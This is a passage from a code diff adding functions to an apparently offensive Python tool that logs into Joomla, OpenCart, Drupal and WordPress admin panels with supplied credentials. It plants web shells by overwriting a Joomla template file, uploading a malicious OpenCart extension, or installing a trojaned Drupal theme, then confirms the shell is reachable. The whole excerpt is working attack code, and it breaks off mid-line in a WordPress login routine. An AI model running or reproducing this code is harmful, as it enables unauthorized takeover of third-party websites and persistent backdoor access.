+ edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '504', 'jform[filename]': '/error.php'}
+ try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60)
+ except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45)
+ check_UP = requestG_Fox('{}/administrator/templates/hathor/error.php'.format(domain), 1, headers1)
+ if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/administrator/templates/hathor/error.php'.format(domain)
+ elif ('error.css' in hathor and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)):
+ rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)[0]
+ edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '504', 'jform[filename]': '/error.php'}
+ try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&task=source.edit&id=NTA0OmVycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60)
+ except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&task=source.edit&id=NTA0OmVycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45)
+ check_UP = requestG_Fox('{}/administrator/templates/hathor/error.php'.format(domain), 1, headers1)
+ if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/administrator/templates/hathor/error.php'.format(domain)
+ return 'F'
+ except:
+ return 'F'
+
+def ocmod_Fox(domain, cookies, login) :
+ try:
+ token_Fox = re.findall(re.compile('token=(.*)" class="navbar-brand">'), login)[0]
+ if ('&user_token' in login): upload_url_Fox = "{}/admin/index.php?route=marketplace/installer/upload&user_token={}".format(domain, token_Fox)
+ else: upload_url_Fox = "{}/admin/index.php?route=marketplace/installer/upload&token={}".format(domain, token_Fox)
+ fileup_Fox = {'file': ('rsz.ocmod.zip', open('Files/rsz.ocmod.zip', 'rb'), 'application/x-zip-compressed')}
+ try: up_Fox = content_Fox(cookies.post(upload_url_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=60))
+ except: up_Fox = content_Fox(cookies.post(upload_url_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=45))
+ ID_oc = re.findall(re.compile('extension_install_id=(.*)"}'), up_Fox)[0]
+ try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/install'), ID_oc), verify=False, headers=headers1, timeout=15)
+ except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/install'), ID_oc), verify=False, headers=headers1, timeout=10)
+ try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/unzip'), ID_oc), verify=False, headers=headers1, timeout=15)
+ except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/unzip'), ID_oc), verify=False, headers=headers1, timeout=10)
+ try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/move'), ID_oc), verify=False, headers=headers1, timeout=15)
+ except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/move'), ID_oc), verify=False, headers=headers1, timeout=10)
+ try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/xml'), ID_oc), verify=False, headers=headers1, timeout=15)
+ except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/xml'), ID_oc), verify=False, headers=headers1, timeout=10)
+ try: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/remove'), ID_oc), verify=False, headers=headers1, timeout=15)
+ except: cookies.get('{}&extension_install_id={}'.format(upload_url_Fox.replace('marketplace/installer/upload', 'marketplace/install/remove'), ID_oc), verify=False, headers=headers1, timeout=10)
+ check_UP = requestG_Fox('{}/admin/controller/extension/extension/daDTLv3YPn6.php'.format(domain), 1, headers1)
+ if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/admin/controller/extension/extension/daDTLv3YPn6.php'.format(domain)
+ return 'F'
+ except:
+ return 'F'
+
+def adminimal_Fox(url, cookies) :
+ try:
+ try: getdata = content_Fox(cookies.get('{}/admin/appearance/install'.format(url), headers=headers1, verify=False, timeout=15))
+ except: getdata = content_Fox(cookies.get('{}/admin/appearance/install'.format(url), headers=headers1, verify=False, timeout=10))
+ form_build_id_Fox = re.findall(re.compile('type="hidden" name="form_build_id" value="(.*)" />'), getdata)[0]
+ form_token_Fox = re.findall(re.compile('type="hidden" name="form_token" value="(.*)" />'), getdata)[0]
+ fileup_Fox = {'files[project_upload]': ('adminimal_theme-7.x-1.25.zip', open('Files/adminimal_theme-7.x-1.25.zip', 'rb'), 'multipart/form-data')}
+ filedata_Fox = {'form_build_id': form_build_id_Fox, 'form_id': 'update_manager_install_form', 'form_token': form_token_Fox, 'op': 'Install', 'project_url': ''}
+ try: up_Fox = content_Fox(cookies.post('{}/admin/appearance/install'.format(url), headers=headers1, data=filedata_Fox, files=fileup_Fox, verify=False, timeout=90))
+ except: up_Fox = content_Fox(cookies.post('{}/admin/appearance/install'.format(url), headers=headers1, data=filedata_Fox, files=fileup_Fox, verify=False, timeout=60))
+ ID_dp = re.findall(re.compile('id=(.*)&'), up_Fox)[0]
+ try: install_Fox = cookies.get('{}/authorize.php?batch=1&op=start&id={}'.format(url, ID_dp), headers=headers1, verify=False, timeout=45)
+ except: install_Fox = cookies.get('{}/authorize.php?batch=1&op=start&id={}'.format(url, ID_dp), headers=headers1, verify=False, timeout=30)
+ check_UP = requestG_Fox('{}/sites/all/themes/adminimal_theme/uqPfX5TiZbY.php'.format(url), 1, headers1)
+ if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/sites/all/themes/adminimal_theme/uqPfX5TiZbY.php'.format(url)
+ return 'F'
+ except:
+ return 'F'
+
+def WP_Login_UPer(url, username, password):
+ try:
+ while (url[-1] == '/'): url = url[:-1]
+ print (' {}[L] {} {}[WordPress]'.format(fw, url, fg))
+ print (' {}[U] {}'.format(fw, username))
+ print (' {}[P] {}'.format(fw, password))
+ reqFox = requests.session()
+ headersLogin = {'Connection': 'keep-alive',
+ 'Cache-Control': 'max-age=0',
+ 'Upgrade-Insecure-Requests': '1',
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36',
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
+ 'Accept-Encoding': 'gzip, deflate',
+ 'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
+ 'referer': '{}/wp-admin/'.format(url)}
+ loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '{}/wp-admin/'.format(url)}
+ try: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15)
+ except: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=5)
+ if (URL_FOX(login_Fox.url) != URL_FOX(url)):
+ url = URL_P(login_Fox.url)
+ reqFox = requests.session()
+ loginPost_Fox = {'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '{}/wp-admin/'.format(url)}
+ try: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=15)
+ except: login_Fox = reqFox.post('{}/wp-login.php'.format(url), data=loginPost_Fox, headers=headersLogin, verify=False, timeout=10)
+ login_Fox = content_Fox(login_Fox)
+ if ('profile/login' in login_Fox):
+ id_wp = re.findall(re.compile('type="hidden" name="force_redirect_uri-(.*)" id='), login_Fox)[0]
+ myuserpro = re.findall(re.compile('name="_myuserpro_nonce" value="(.*)" />Working